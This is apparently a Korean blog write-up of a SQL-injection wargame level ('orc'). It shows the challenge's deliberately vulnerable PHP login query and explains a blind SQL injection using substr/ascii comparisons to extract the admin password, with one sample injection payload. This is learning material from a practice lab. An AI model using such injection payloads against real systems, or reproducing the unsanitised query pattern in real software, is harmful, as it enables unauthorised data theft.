query : select id from prob_orc where id='admin' and pw=''
<?php
include "./config.php";
login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) echo "<h2>Hello admin</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
$result = @mysql_fetch_array(mysql_query($query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
highlight_file(__FILE__);
?>
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
id는 admin으로 고정입니다. 그리고 get으로 전달된 pw와 쿼리의 결과로 나온 result의 pw가 일치해야 문제가 풀립니다. 이는 곧 정확한 pw값을 추출해야 한다는 것을 알 수 있습니다.
처음으로 나온 blind sqli 문제네요.
substr을 이용해서 풀 수 있습니다.
?pw=' or id='admin' and ascii(substr(pw,1,1))=0x41%23
...
payload
'Web > LOS (Lord of SQL)' 카테고리의 다른 글
los(lord of sql) level 6 - darkelf (0) | 2018.08.21 |
---|---|
los(lord of sql) level 5 - wolfman (0) | 2018.08.21 |
los(lord of sql) level 3 - goblin (0) | 2018.08.21 |
los(lord of sql) level 2 - cobolt (0) | 2018.08.21 |
los(lord of sql) level 1 - gremlin (0) | 2018.08.21 |